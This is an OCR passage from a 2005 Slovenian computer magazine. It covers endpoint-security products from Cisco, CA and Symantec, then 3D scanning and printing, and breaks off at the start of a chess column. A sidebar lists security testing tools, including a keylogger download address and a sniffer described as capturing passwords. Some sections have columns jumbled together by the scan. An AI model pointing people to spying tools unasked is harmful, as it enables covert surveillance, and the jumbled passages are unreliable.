luknje v sistemu. Računalnik se okuži.
Ko se poslovnež vrne v matično organizacijo, se seveda priklopi v krajevno omrežje. Edini
varnostni mehanizem tu je seveda blokada fizičnega dostopa ter priklopa v omrežje. Fizični
dostop zaposleni ima, prenosnik pa se tudi lahko priklopi v omrežje, saj dosedanji varnostni
mehanizmi preverjajo le identiteto omrežne
kartice. Ker drugi večplastni mehanizmi varnosti v omrežju delujejo pogosto le na prehodu
med krajevnim in javnim omrežjem, torej na

88

MOJ MIKRO 1 JANUAR 2005

usmerjevalniku proti ponudniku internetne
povezave, ti mehanizmi ne zaščitijo drugih
internih računalnikov priključenih v krajevno omrežje. Odvisno od tipa črva ali virusa se
temu v nekaj dneh uspe razširiti v vse lokalne
računalnike in organizacija ima lahko velike
težave.

REŠITEV: VAROVANJE KONČNIH NAPRAV

Tega problema so se začeli zavedati tudi proizvajalci omrežne opreme ter varnostne programske opreme. V široki industrijski navezi,
kjer sodelujejo Microsoft, Cisco, CA, 3Com,
Symantec, TrendMicro, Network Associates,
Harris, WatchGuard in drugi, se ukvarjajo z
varovanjem končnih naprav. Ideja je v omrežje
vdelati dodaten upravljalni sloj, ki bo dejanski
dostop do omrežja dovolil končnim napravam
šele po tem, ko bodo izpolnile vse zahtevane
pogoje. Politika organizacije določa pogoje,
med njimi pa velikokrat najdemo naslednje:
da so nameščeni vsi varnostni popravki operacijskega sistema, do so lahko knjižnice protivirusnega programa stare največ nekaj dni, da je

ki pretijo strežnikom in namiznim ter prenosnim računalnikom, skratka, poskrbi za vse
končne postaje. Aplikacije ponuja več kot klasične strežniške in namizne varnostne rešitve,
saj prepoznava in preprečuje škodljivo vedenje, preden se lahko zgodi in razširi na druge
v omrežju. S tem odstranjuje nevarnost potencialnih znanih in neznanih (imenovanih tudi
Day Zero) nevarnosti, ki grozijo organizacijam
in posameznikom.
CSA preprečuje znane in neznane varnostne težave na poseben način. Zanj se uveljavlja
naziv preprečevanje vdora v gostitelja (host
intrusion prevention ali HIP). CSA zbira in širi
nabor varnostnih funkcij končnih naprav s
tem, da preprečuje vdor v računalnik, postavlja porazdeljeno požarno pregrado, zagotavlja
varovanje pred nevarno kodo ter zagotavlja
neokrnjenost operacijskega sistema, pregledovanje dnevnikov dogajanja (log) − vse to v
enem samem paketu.
Cisco CSA teoretično ščiti omrežje tudi pred
prihodnjimi poskusi vdorov in pred okužbami
z virusi, ki še niso bili napisani. Kot so poka-

V PRAKSI
varnost
zali zelo vidni napadi na računalniška omrežja, recimo Code Red in SQL Slammer, ki je
tudi slovenski internet ohromil za skoraj 24 ur,
imajo tradicionalne tehnologije za varovanje
končnih naprav omejene zmogljivosti preprečevanja in zaustavljanja novih in razvijajočih
se nevšečnosti. Ker CSA analizira obnašanje,
namesto da bi se zanašal na ujemanje z zapisom
v knjižnici težav, je to rešitev, ki ponuja robustno zaščito z manjšimi operativnimi stroški.
Uporabniki potrebujejo robustno zaščito končnih postaj, kot so strežniki in delovne postaje
ter prenosniki, pa tudi dlančniki in pametni
mobilni telefoni, saj s tem preprečijo širitev

Oba izdelka sta del celostne rešitve CiscoWorks VPN/Security Management Solution. Ta pa je sestavni del programa SAFE
Blueprint for Enterprise Network Security,
ki pomaga organizacijam, da se ukvarjajo le s
tistim, kar je njihova ključna dejavnost, in ne
izgubljajo odvečne energije, denarja in časa z
računalniškimi omrežji in varnostjo oziroma
z odpravljanjem težav. Paket vsebuje spletna
orodja za nastavljanje, spremljanje in odpravljanje težav s povezavami navideznih zasebnih
omrežij, požarnih pregrad, sistemov za zaznavanje vdorov, sistemov za zaznavanje varnosti
končno naprave ...

Unicenter, alarmi in opozorila pa se razpošiljajo s programom eTrust Audit.
Drugi izdelki družine eTrust dodatno širijo funkcionalnost. eTrust Access Support z
nadzorom dostopa, temelječem na varnostni
politiki, regulira dostop do kritičnih sredstev
v omrežju ter določa možnosti njihove rabe. V

Računalnik s svežo namestitvijo sistema
Windows v internetu zdrži približno 20
minut, preden se okuži z virusom ali
črvom.

Kako preizkusiti delovanje
Orodje
Nmap
Nessus

WinDump

EtherPeek
SilentLog
Firehole
NetCat

Prenos s spletne strani
www.insecure.org

Komentar
Orodje za odkrivanje omrežij ter odprtih vrat v
posameznih strežnikih
www.nessus.org
Brezplačen, odprtokodni program za testiranje
varnostnih težav; deluje v Linuxu; preverja tudi
sisteme Windows.
windump.polito.it
Hiter in kakovosten program za zajem omrežnega
prometa in gesel. Različica Unixovega tcpdump za
Windows.
www.wildpackets.com
Komercialni prestreznik omrežnega prometa
packetstorm.decepticons.org/Win/SilentLog.zip Snemalnik pritiskov na tipkovnico
keir.net/firehole.html
Test delovanja osebnega požarnega zidu
www.atstake.com/research/tools
Program, ki se pretvarja, da je strežnik za prijavljanje,
in deluje v poljubnih vratih

Cisco CSA � skrbnikov uporabniški vmesnik
nevšečnosti in napadov v krajevno omrežje in
do kritičnih aplikacij v njem.
Če povzamemo prednosti zbiranja in razprostiranja nabora varnostnih funkcij skozi celotno
omrežje končnih naprav z eno samo aplikacijo,
to omogoča zaščito pred celotnimi družinami
napadov, vključno s pregledovanjem odprtih
vrat (port scan), izkoriščanjem preseženega predpomnilnika (buffer overflow), trojanskimi konji,
popačenimi paketi, zlonamerno HTML-kodo v
e-poštnih sporočilih ter e-poštnimi črvi.
Cisco CSA ponuja zaščito, ki je ta hip vodilna v industriji tako za osnovo Unix kot Windows, poleg standardne pa ponuja še specifično
aplikacijsko zaščito za spletne strežnike in zbirke podatkov. Arhitektura rešitve je odprta in
razširljiva, kar ji omogoča opredelitev in udejanjanje varnostne politike glede na politiko
organizacije. CSA je stopnjevana (skalabilna)
rešitev, saj lahko deluje v treh, desetih ali pet
tisoč napravah, vezanih na eno nadzorno postajo. CSA kot Ciscov izdelek ponuja tudi povezano upravljanje z varnostnimi napravami
Cisco PIX, Cisco Secure IDS in Cisco VPN.
Delovanje sistema CSA je vodeno iz centralne upravljavske postaje, kjer program
CiscoWorks Management Center for Cisco
Security Agents (CWM) določa centralno
politiko in način distribucije, ponuja nadgradnjo programske opreme ter vzdržuje komunikacijo z agenti CSA. CWM omogoča upravljanje
od koderkoli, saj s spletnim vmesnikom presega krajevne in časovne omejitve ter omogoča
skrbniku enostaven in hiter pregled in nadzor
nad tisoči odjemalcev oz. agentov.

Čarovnik za upravljavska opravila
v programu eTrust AC

COMPUTER ASSOCIATES

Starosta na področju programske opreme,
namenjene velikim organizacijam, Computer
Associates izpostavljeni problem naslavlja z
naborom rešitev družine eTrust. Osrednjo vlogo ima eTrust Access Control (AC), ki je ena
močnejših in robustnejših aplikacij na tem področju. Žal je za faktor 2 od kateregakoli konkurenta večja tudi cena. AC zato edini ponuja
visoko stopnjo nadzora, ki skrbniku omogoča,
da omeji uporabnika, možno je celo omejevanje glede na čas in dan v tednu, kar je prav posrečeno. AC rabi tudi kot centralni repozitorij
za ustvarjanje in upravljanje z uporabniškimi
profili.
Močna stran izdelkov CA sta predvsem podpora vsem osnovam in visoka raven povezovanja. AC se tako lahko povezuje z aplikacijo

navezi z izdelkom eTrust CA-ACF2 Security
sistem omogoča nadzor porazdeljenega okolja
do končnih naprav, kar zagotavlja večjo varnost, tekoče administrativno delo, dostop v
omrežje z enim samim klikom ter varnost na
ravni osnove in na ravni omrežja, kjer je poskrbljeno tudi za preverjanje in spremljanje
dejavnosti.
Tveganim odjemalcem, ki lahko nevede
nepridipravom odprejo stranska vrata v zaprt, urejen sistem, eTrust ponuja še orodje
Vulnerability Manager (VM), ki je bila prva
taka aplikacija v poslovnem svetu. Že tradicionalno je celostno preverjanje potencialnih
ranljivosti in nastavljanje ter nadgrajevanje
vseh komponent sistema in s tem zagotavljanje upravljanja dolgotrajno, zamudno delo, ki
je zahtevalo dodatno človeško delo, znanja iz
različnih področij in uporabo množice ločenih,
nepovezanih in dragih rešitev. Skrbniki sistemov so bili prezasedeni, ranljivosti in napačne
nastavitve sistemov pa so ostali nepopravljeni.
Vodstvo organizacije se pogosto ni zavedalo
stanja in dogajali so se napadi in težave, okužbe v omrežju. Cilj sistema Vulnerability Manager je preventiva, torej enotno upravljanje

MOJ MIKRO 1 JANUAR 2005

89

V PRAKSI
varnost
Zamisel varovanja
končnih naprav
v omrežju je
vdelati v omrežje
dodaten upravljalni
sloj, ki bo dostop
do omrežja
dovolil končnim
napravam šele, ko
bodo izpolnile vse
zahtevane pogoje.
Nastavljanje uporabnikovih pravic v eTrustu AC
posameznih rešitev nadgrajevanja in popravljanja, kar je alternativa odpravljanju težav, ko
do njih že pride.
VM ugotovi, za kakšno tehnologijo (osnovo) gre v ciljni napravi in kakšne storitve delujejo v njej. Nato seznam primerja s seznamom
znanih pomanjkljivosti, rezultat tega dela pa je
seznam potrebnih popravkov in ukrepov, raz-

Proaktivne varnosti v potrošniški opremi
in v omrežjih srednjih in malih podjetij
večinoma še ni, trend pa kaže, da bo
morda že v letu 2005 prav ta del IT-trga
postal izredno donosen in hitro rastoč.
vrščen glede na kritičnost. Šele ko v napravi
ni znanih pomanjkljivosti, jo CA eDirector
spusti v omrežje, sicer pa obvesti skrbnike.

SYMANTEC

Tudi Symantec kot tipičen predstavnik programskega podjetja, usmerjenega na področje
zaščitne in vzdrževalne programske opreme, je

omrežja držijo iste varnostne politike oz. predpisov. Aplikacija podpira vse glavne standarde
na tem področju.
Za manjše uporabnike, oziroma za zagotavljanje varnosti na ravni omrežja pa skrbi Symantec Host IDS. Ta v stvarnem času spremlja delovanje in posreduje pri varnostnih težavah in
drugih nedovoljenih dejavnostih. Program je
komplementaren požarnim zidovom in drugim
rešitvam za nadzor dostopa. Skrbnikom omogoča vzpostavitev proaktivne zaščite.

DRUGI

Ponudbe na področju programskih rešitev
HIS ni malo in med bolj znana imena lahko
štejemo še najmanj rešitvi AppFire Suite podjetja Platform Logic ter program Sana Security Primary Response. Vendar pa obe pri nas
žal nista prisotni, tako da
ni moč dobiti več informacij.

POVZETEK

Proaktivna varnost v
potrošniški opremi in v
srednjih ter manjših podjetjih (omrežjih) še ni dovolj prisotna, vendar trend
kaže, da bo morda že v letu
2005 prav ta del IT-trga
postal izredno donosen in
hitro rastoč. S Ciscovimi
napovedmi, da bomo do
leta 2008 prešli na inteligentno aktivno omrežno opremo, bo moral biti
HIS kot komunikacijski
vmesnik do tega sistema
v vsakem računalniku in
v vsaki napravi. Kaj več
utegne na to temo prinesti
Nastavljanje dostopov do sredstev in posameznih datotek v eTrustu AC
tudi Microsoftov Longhorn, ki ga vse več ljudi
predstavil svoja orodja, ki skrbijo za prepreče- vidi kot dogodek, ki bo tehnologijo in varnost
vanje okužbe z vstopom tveganega računalnika dvignil na novo raven.
v omrežje. Aplikacija Symantec Vulnerability
Na področje varnosti in zanesljivosti interAssessmen podobno kot CA VM poišče po- neta pa ne merijo samo proizvajalci aktivne
tencialne slabosti naprave (računalnika) ter omrežne opreme, kot je Cisco. Svojo vizijo je
nanje opozori. SVM omogoča še enostavno v projektu PlanetLab pred kratkim predstanadgradnjo knjižnice z nevarnostmi prek sto- vil tudi Intel. Pametni programi ali pametna
ritve Live Update.
omrežja – stičišče je v besedi pametno. In v
Knjižnice nevarnosti in pomanjkljivosti vse- pametno smer gredo ves razvoj in obljube, pobujejo zapise o virusih, zadnjih nadgradnjah čakati je treba le na dejanske rezultate ... Ali je
operacijskega sistema, opozorila storitve Bug- to prava rešitev, ki bo preprečevala nenadne izTraq, CVE... Program je primeren predvsem bruhe in bliskovite širitve virusov in črvov po
za večje organizacije, kjer je v navezi s progra- vsem svetu, pa je še vprašanje. Žal je že tako,
mom Symantec Enterprise Security Manager da za vsako zaščito obstajajo poti naokoli.
odličen par, saj slednji skrbi, da se vsi člani


w w w.mojmikro.si
FORUM
NOVICE
ČLANKI
PREIZKUSILI SMO

90

ensko informacijsko
Več novic tako ali drugače povezanih s slov tni strani!
srenjo lahko najdete na naši sple

MOJ MIKRO 1 JANUAR 2005

V PRAKSI
3D-tehnologije

NA PRAGU
Piše : Esad Jakupović
esad.jakupovic@mojmikro.si

Živimo v barvnem in trirazsežnem
svetu, kar počasi dohajajo tudi
tehnologije. Računalniški razvoj nas je
iz enobarvnega in dvoraszežnega sveta
pripeljal v svet barv in vse bolj tudi tretje
razsežnosti na najrazličnejših področjih.

3D-RAČUNALNIŠTVA

»Dotik« na daljavo: taktilni vmesnik Interactice
Haptic Painting na Univerzi North Caroline, ki ga
uporabljajo za slikanje na daljavo.

S

vet računalništva je bil na začetku enobarven, ker so bili monitorji enobarvni in
tudi programska oprema ni poznala barv.
Tudi prvi tiskalniki so bili črno-beli in
optični bralniki so videli slike skozi enobarvna
»očesa«. Nič čudnega: tudi prvi fotoaparati so
bili črno-beli in televizorji tudi. V dvajsetih let
računalniškega obdobja so se naše vizije spremenile. Danes je vse v
barvah in črno-belo
tiskanje uporabljamo samo za množične izpise, medtem ko
enobarvnega optičnega branja in prikazovanja ne uporablja
nihče. Računalniški
svet je danes izpolnjen z barvami, pa
ne samo zato, ker
je tako lepši. RazAvtomatizirano 3D-optično iskovanja podjetij
branje: prenosna naprava
Xerox, Forrester ReVivid 910 podjetja Konica
search in drugih poMinolta za enostavnejše
trjujejo velikanske
branje
prednosti barv pri
pomnjenju, prepoznavanju, vplivu, urejanju, hitrosti reagiranja in
podobnih zadevah. In kdo bi se danes odpovedal
grafičnemu uporabniškemu vmesniku, ploskemu
monitorju, barvnemu tiskalniku, digitalnem fotoaparatu, videu in digitalizaciji!

INTERAKTIVNI VMESNIKI

Računalništvo je od začetka tudi dvorazsežno
in je to v glavnem še vedno. Tretja razsežnost je
seveda zelo prisotna v programski opremi za računalniško podprto načrtovanje in proizvodnjo,
za zabavo in podobno, vendar je prikazovanje
tudi s takšno opremo še zmeraj dvorazsežno. Tudi

92

MOJ MIKRO 1 JANUAR 2005

knjige, revije, film in televizija so v medijskem
smislu dvorazsežni. Čeprav so kot objekti trirazsežni, izpisane strani knjige in revije ter prikazi
na platnu ali zaslonu nimajo resnične globine
ali debeline v smislu dimenzije. Zadnja leta potekajo obširne raziskave uporabe tretje razsežnosti v monitorjih in kamerah ter seveda s tem
povezane programske opreme (o čemer bomo
pisali posebej), kakor tudi razvoja 3D-filma in

3D-televizije. Tretja razsežnost je že dosegla
svet grafičnih uporabniških vmesnikov, optičnih bralnikov, tiskalnikov in naprav za izdelavo
prototipov. Pri nas se o tovrstnih raziskavah in
opremi govori oziroma piše razmeroma malo, ker
je oboje drago in se imajo zaenkrat samo redka
podjetja in ustanove možnost s tem sploh ukvarjati ali nabaviti nekaj 3D-opreme.
V računalništvu se večinoma uporabljajo

Čakajoč na nove kazalce
Raziskovalci menijo, da bi bilo treba za 3D-naprave spremeniti koncept kazalca v bodočih
3D-okoljih, še zlasti ko bodo operacijski sistemi in posamezne aplikacije postali trirazsežni po
delovanju in tudi na videz. Kazalec (kurzor) bi tudi sam moral biti tridimenzionalen in samostojen objekt, za njegovo upravljanje pa bo potrebna posebna 3D-kazalna naprava. V trirazsežnem okolju bo kazalec dobil nove značilnosti in načine delovanja. Sam po sebi bo postal
zelo močno orodje v primerjavi s klasičnim kazalcem, ki je seveda dvorazsežen. Uporabnik se
bo lahko s pritiskom na gumb premeščal iz enega v drug način delovanja. V načinu »laser« bo
na primer lahko izbral oddaljeni objekt in ga premaknil po osi »žarka«, v načinu »magnet« pa
bo lahko naenkrat »pritegnil« več objektov, jih premestil in tudi naenkrat znova »razpršil«.
Raziskovalci v laboratorijih že razvijajo različne rešitve novih kazalnih naprav za upravljanje s
3D-kazalcem, ki bi se resnično gibal v prostoru. Koliko bi se s tem povečale možnosti upravljanja v kompleksnem trirazsežnem okolju lahko samo domnevamo.
Delno predstavo o tem lahko dobimo pri uporabi večopravilne kazalne naprave Spaceball
5000 podjetja 3Dconnection. Ta je namenjena delu z najnovejšo 3D-programsko opremo, ki
seveda tretjo razsežnost le posnema oziroma jo upošteva, medtem ko je sam prikaz še vedno
pravzaprav dvorazsežen, na monitorjih, kjer je prikaz še vedno le v eni ravnini. Naprava spominja na kazalno napravo s kroglico, le da je zdaj krogla na vrhu miške, ne vdelana v njo, in
med drugim omogoča povečavo, premikanje in vrtenje programskih objektov. Merjenja so
pokazala, da Spaceball za okoli 30 % izboljšuje delo s programi za industrijsko oblikovanje
in za več kot 60 % zmanjšuje gibe roke. Bodoče kazalne naprave za resnične 3D-aplikacije s
3D-prikazovanjem na 3D-monitorjih bodo še bolj prefinjene in
bodo prispevale še učinkovitejšemu delu. Pravzaprav si je težko sploh zamisliti uporabo resnične 3D-programske opreme
s sedanjim kazalcem in kazalnimi napravami, pa naj bo to
celo najnovejši Spaceball 5000.

Napoved prihodnosti: kazalna naprava Spaceball 5000 za več kot 30
% povečuje učinkovitost in za več kot 60 % zmanjšuje gibanje roke

V PRAKSI
3D-tehnologije
»klasične« vmesniške naprave za vnos podatkov,
torej različne vrste in rešitve tipkovnic in mišk.
Za potrebe računalniškega oblikovanja in načrtovanja pa so razvili tudi različne druge naprave,
kot so prostorske miške, 3D-kazalne naprave
s kroglo in večsenzorski tehnološki sistemi,
sestavljeni iz stereoskopskih projekcijskih zaslonov, naglavnih zaslonov in prostorskih avdio
naprav. V številnih centrih razvijajo tudi haptične (taktilne) sisteme, ki omogočajo vnašanje
podatkov in upravljanje s kretnjami rok kot tudi
celovit občutek dotika oddaljenega predmeta,
s katerim interaktivno delamo. V svetu je, na
primer, znana rešitev iTouch, sklop valjastih
lesenih koleščkov, povezanih v računalnik, ki
jo na MIT-u uporablja skupina Tangible Media
Group, na čelu s profesorjem Hiroshijem Ishijem. iTouch omogoča verno prenaša gibanje in
»občutek« dotika s sogovorniki. Zadnje čase je
pozornost strokovne javnosti pritegnila tehnologija »svetilne gline« (Illuminating Clay), s
katero preučujejo gradbeniške vplive na okolje
s pomočjo vmesniških glinenih modelov topografije, ki jih interaktivno spreminjajo kar z
rokami.

TRIRAZSEŽNO
OPTIČNO BRANJE

Optično branje v
treh razsežnostih največ uporabljajo v raziskovalnih ustanovah
ter visoko specializiPriljubljena linija
ranih področjih inpodjetja ZCorporation:
dustrije, medicine in
tiskalnik za prototipe
umetnosti. Večinoma
Z406, ki je uporaben
gre za okorno, zapletudi za izdelavo
teno in drago opremo
kalupov
(med več deset in več
sto tisoč evrov), ki jo
je skoraj nemogoče uporabljati v vsakdanjem
življenju. Otežujoči razlog za to so izredni tehnični pogoji, ki se zahtevajo glede osvetljevanja
in načina branja ter tudi splošne strokovnosti
izvajalcev. Splošno povedano je pri 3D-branju
treba poskrbeti za mehanični sklop za premikanje predmeta branja ali še bolj kamere na ustrezen način. Izvor svetlobe je običajno laser. Odsevano svetlobo zbira elektronski sklop s tipali,
ki jo pretvarja iz analogne v digitalno oblike. Za
nadaljnje oblikovanje in shranjevanje podatkov
skrbi specializirana programska oprema. Naprave za 3D-branje so lahko ročne (proizvajajo jih
Polhemus, 3D Scanners in drugi), prenosne ne-

Tiskanje namesto proizvodnje
Inženirji s Kalifornijske univerze v Berkeleyu razvijajo brizgalno tehnologijo, ki naj bi omogočila tiskanje celotnih električnih in elektronskih »pripomočkov«, kot je na primer daljinski krmilnik za TV. Zamisel je, da bi se klasični večstranski postopek, v katerem se izdela
ohišje in v njem montirajo tiskano vezje, stikala in druge komponente, zamenjal z enim samim
– s tiskanjem. Trik je v samem tiskalniku in v postopku tiskanja, ki naj bi omogočila nanašanje
sloja za slojem različnih prevodnih, polprevodnih in izolacijskih polimernih snovi, ki bi na
koncu dali kompleten pripomoček oziroma enostavno napravo. Z nanašanjem pametnih polimerov se danes izdelujejo funkcionalni prototipi s gibljivimi mehaničnimi deli kot v resničnih
končnih izdelkih. Bistven napredek, ki ga napovedujejo raziskovalci z Berkeleya, je uvajanje
elektronike v tiskane naprave, s čem bi se proizvodnja precej poenostavila in izjemno znižali
njeni stroški. Ekipi iz Berkeleya je že uspelo natisniti elektronske dele, kot so tranzistorji, kondenzatorji, induktivne tuljave in druge polprevodniške komponente. Njihovo povezovanje pri
tiskanju je le nov korak naprej.
Ko bodo razvili ustrezen sistem kartuš za brizgalni tiskalnik, bodo sposobni »natisniti« daljinski krmilnik, žarnico, radio, mobilni telefon, elektronsko igračo in druge podobne funkcionalne sisteme brez ekstenzivne proizvodnje in montažnih trakov. V natisnjenem krmilniku
bodo gumbi izdelani iz enega polimera, infrardeči oddajnik iz drugega, elektronika iz več vrst
polimerov; le baterije bodo resnične, naknadno vstavljene. Da bi se izognili vzmetem, bodo za
gumbe uporabili »elektroaktivne« polimere, ki lahko pri pritisku s prstom ustvarjajo električno
napetost in tako omogočajo upravljanje naprave. Velja tudi nasprotno: da bodo raziskovalci
nekoč lahko uporabljali elektroaktivne polimere za ustvarjanje mišičja za robote, ki bo pod
delovanjem električne napetosti spreminjalo obliko in tako omogočalo gibanje. Za tiskanje
žarnice, na primer, bodo raziskovalci uporabljali prozorne polimere in plastične oddajnike svetlobe. Od spajanja upogljivih materialov in elektronike, ki se imenuje fleksonika (flexonics),
znanstveniki pričakujejo, da bo revolucionarno vplivala na industrijsko oblikovanje. Tiskane
naprave bodo cenejše in zagotovo tudi manj zmogljive, ker so električne lastnosti polimerov v
primerjavi s silicijem precej slabše. Polimerni tranzistorji, na primer, imajo stokrat manjšo hitrost od silicijskih. Toda tehnologija tiskanja manjših izdelkov se bo razvijala naprej in širila.

koliko večjih mer (Konica Minolta) ali še večje stacionarne (Roland Digital Group, Kreon
Industrie, Imageware, Cyberware, Digibotics in
drugi). Za 3D-branje velikih predmetov, kot so
na primer, avtomobili, se uporabljajo zelo velike
in zapletene naprave.
Večina 3D-bralnikov opravlja svoje delo brez
dotika s predmetom
branja, prek laserske
svetlobe, ki se odbija s
predmeta. S premikanjem žarka ali kamere
bralnik obdela točko za
točko predmeta in tako
dobi celotno 3D-sliko.
Za branje z dotikom s
predmetom je najpogostejše sredstvo snemaTrirazsežno tiskanje: način računalniško vodene izdelave modela iz polimernega
nja sonda, nameščena
prahu in lepila
na mehanično roko.

TV-krmilnik iz tiskalnika:
prikaz tehnologije
tiskanja po zamisli
raziskovalcev z
Berkeleya

Najnovejši bralnik Vivid 910 podjetja Konica Minolta, na primer, je precej avtomatiziran,
postopek pa poenostavljen. Bralnik, težak 11 kg,
namreč namestimo od 0,6 do 1,2 m od objekta
za snemanje tako, da je njegova slika na iskalnem LCD-zaslončku, in pritisnemo sprožilni
gumb. Optični del vsebuje tri leče z goriščem 25,
14 in 8 mm. Slika 3D-modela velikosti 1,6 do
2,4 MB, v formatu STL, DXF, OBJ ali VRML se
lahko namesto v računalnik naloži na 128 MB
pomnilniški kartici.
Znani proizvajalec Cyberware proizvaja 3Dbralnike za branje glave in telesa, ki so uporabljeni za animacije v številnih filmih in med
drugim za majhne izdelke z veliko podrobnosti.
Avstralsko podjetje CSIRO pa razvija poceni
dodatke za 3D-branje z obstoječimi ploskimi
bralniki. Dodatek bo stal približno kot skener in
bo uporaben tudi pri večfunkcijskih napravah in
celo nekaterih kopirnih aparatih.
MOJ MIKRO 1 JANUAR 2005

93

V PRAKSI
3D-tehnologije
TISKANJE 3D-MODELOV

Najbolj razširjene 3D-naprave so tiskalniki,
ki se uporabljajo že vrsto let, predvsem v industrijskih oddelkih velikih podjetij za izdelavo
prototipov. Za »tiskanje« oziroma ustvarjanje
predmetov se uporabljajo različne tehnologije
in plastični materiali. Predmeti niso uporabni
izdelki za vgradnjo, temveč le modeli, uporabni
za vizualizacijo konceptov, preverjanje načrtov
in nadaljnji razvoj izdelkov. Vseeno pa je tehnologija danes tako razvita, da se lahko ustvarjajo funkcionalni modeli in modeli z različno
obarvanimi deli. V prihodnosti bo tehnologija
zagotovo napredovala do možnosti izdelave različnih končnih in uporabnih predmetov, kot so
daljinski krmilniki, žarnice ali mobilni telefoni.
Najbolj razširjen postopek tiskanja modelov je
stereolitografija, za katero se uporabljajo pla-

Hitra izdelava
kalupov: namizni
stroj MDX-15
za ustvarjanje
prototipov podjetja
Roland, ki stane
le nekaj več kot
2000 evrov.
stični materiali, občutljivi na svetlobo, pogosto
naviti kot široka folija na valju. Predmeti se izdelujejo z računalniško vodenim izrezovanjem
sloja za slojem materiala iz široke folije. Model je
v računalniku razčlenjen v faze oziroma sloje, po
katerih laserski žarek prek optike za usmerjanje
in sklopa za določanje položaja v ravni deluje na

ne uporablja laser (glej okvir), temveč segrevanje
celotnega bloka iz plastičnega prahu. V tehnologiji
fuzijskega modeliranja z nanašanjem se uporablja
raztopljena plastika ali drug material, podoben vosku, ki se brizga sloj za slojem. S tem postopkom
3D-tiskanja se zagotavljajo tudi zdržljivi in zmogljivi modeli, ki imajo lahko uporabno vrednost.

PRIHOD 3D-IZDELKOV

S stereolitografijo do prototipa: eden načinov
modeliranja z nanašanjem sloja za slojem s traku na
svetlobo občutljivega materiala
občutljivo snov, ki se v opisanem primeru poveže na predhodni sloj s segrevanjem.
Variacija omenjenega postopka je tehnologija
selektivnega laserskega sintranja. Za tiskanje se
namreč uporabljajo drobci na svetlobo občutljivega prahu. Predmeti se računalniško ustvarjajo
sloj za slojem in so trajni, a so manj privlačni
od tistih, pridobljenih v postopku stereolitografije. Postopek, ki najbolj spominja na brizgalno
tiskanje, je t. im. modeliranje s stapljanjem, v
katerem se namesto folije uporablja prah, medtem ko se sintranje oziroma zlepljanje izvaja z
laserskim žarkom. Ta tehnologija je edina, s katero se lahko proizvajajo tudi uporabni izdelki, s
solidnimi mehaničnimi in fizičnimi lastnostmi.
Letos se pojavila podobna tehnologija prof.
Behrokha Khoshnevisa, v kateri se za sintranje

Sintranje brez laserja
Najnovejša tehnologija izdelave prototipov s sintranjem, ki jo je
na Univerzi Južne Kalifornije razvil prof. Behrokh Khoshnevis, še
naprej uporablja tiskanje s polimernim prahom (kot sta plostiren
in poliester), toda brez laserja. Tehnologija se imenuje sintranje s selektivnim oviranjem (Selective Inhibition Sintering, SIS). Podobno
kot pri laserskem sintranju 3D-model najprej razvijejo s programsko
opremo CAD. Potem se razbije v zelo tanke navidezne sloje. Posamezni sloj nastane tako, da se nanese sloj polimernega prahu, tanjši
od 1 mm. Pri laserskem sintranju se opravlja računalniško vodeno
stapljanje določenih delov sloja z laserskim žarkom, ki tako postanejo
del modela. Pri tehnologiji SIS pa se nasprotno deli, ki naj ne bi bili
del modela, obdelujejo s sredstvom, ki preprečuje stapljanje. Ko je
sloj pripravljen oziroma določeni deli zaščiteni proti stapljanju, se celoten sloj izpostavi segrevanju. Nezaščiteni deli se stopijo, medtem ko
na zaščitenih ostane prah, ki je na koncu celotnega postopka tiskanja
enostavno odpihnjen. Po mnenju Khoshnevisa bo s tehnologijo SIS
mogoče poleg plastičnih proizvajati tudi kovinske prototipe, pa tudi
resnične izdelke.

Brez laserja: prikaz tehnologije SIS na začetku (večja slika levo) in koncu
(manjša slika levo) ter nekaterih tako izdelanih modelov

94

MOJ MIKRO 1 JANUAR 2005

Modeliranje v
barvah: kompleksna
oblika izdelana z
razprševanjem drobcev
v tiskalniku Z406

Vse večji pomen
praktičnega
preverjanja: prototip,
pridobljen z laserskim
osvetljevanjem traku
smolastega materiala

Podjetje ZCorporation je razvilo tehnologijo,
v kateri se plastični drobci razpršujejo po površini
in tako model neposredno »tiska«. Tovrstna brizgalna tehnologija ima več prednosti, ker je hitra
in poceni ter omogoča izdelavo modelov v različnih barvah. Prototipi so po izdelavi porozni in
zato ne preveč zdržljivi, kar pa se lahko spremeni
z dodatno impregnacijo s smolami, voski, poliuretanskimi materiali in podobno. Med tovrstnimi modeli tiskalnika je posebej zanimiv Z406,
ki je hiter in omogoča široko uporabo, stane pa
manj kot 30.000 dolarjev, kar pa je minimalna
cena za, recimo, tiskalnike znanega podjetja 3D
Systems. Zadnje čase so v podjetju ZCorporation
razvili zelo uspešen postopek izdelave kalupov
za kovinske odlitke. S pomočjo CAD-opreme
se namreč iz načrta novega izdelka razmeroma
lahko pripravi načrt kalupa, ki se potem izdela
s katerim od tiskalnikov razreda Z. Takšni kalupi so izdelani bistveno hitreje kot s katerim koli
drugim postopkom in so tudi cenejši.
Kalupi se običajno delajo iz materiala na
osnovi keramike, ki omogoča neposredno litje
kovin z nižjimi temperaturami topljenja, kot so
aluminij, cink in magnezij. Resna konkurenca
3D-tiskalnikom pa lahko postanejo bistveno cenejši stroji za računalniško vodeno mehanično
izdelavo prototipov iz lesa, plastike in drugih
materialov. Programska oprema za industrijsko
oblikovanje namreč omogoča razmeroma preprosto zamenjavo prototipa z ustreznim kalupom, ki pa se potem lahko izdela s prototipnim
mehaničnim strojem. Posamezni namizni stroji,
kot je Roland MDX-15, stanejo le nekaj več
kot 2000 evrov. Z dražjimi in kakovostnejšimi
modeli so seveda kalupi lahko še boljši, a še vedno cenejši od tistih pridobljenih s prototipnim
tiskanjem.

VRATA V 3D-RAČUNALNIŠTVO

3D-grafični vmesniki, kazalne naprave, bralniki, tiskalniki in prototipni stroji so del glavnega toka razvoja, ki nas vodi v novo področje
trirazsežnega računalništva. Izredno pomembne
spremembe v tej smeri so se začele tudi v razvoju
zaslonov in monitorjev ter tudi programske opreme. Oboje ima poseben pomen za uporabnike,
ker je operacijski sistem naše osnovno sredstvo
uporabe računalniške opreme, namenski programi so orodje njenega praktičnega izkoriščanja,
medtem ko so monitorji naše osnovno sredstvo
komunikacije oziroma interakcije z računalnikom. Od tega je torej odvisen nadaljnji razvoj
celotnega področja trirazsežnega računalništva,
kar pa je že posebna tema. Kakorkoli že, očitno
postaja, da bo v naslednjem desetletju osrednja
tema razvoja računalništva prav uvajanje tretje
razsežnosti v dobesednem smislu. 

V PRAKSI
računalniki in šah

RAČUNALNIŠKI ŠAH PRI NAS
- UMETNA INTELIGENCA

Že nekaj časa sem si želel v naši rubriki zapisati nekaj o računalniškem šahu v Sloveniji. Kaj neki naj le napišem, sem si
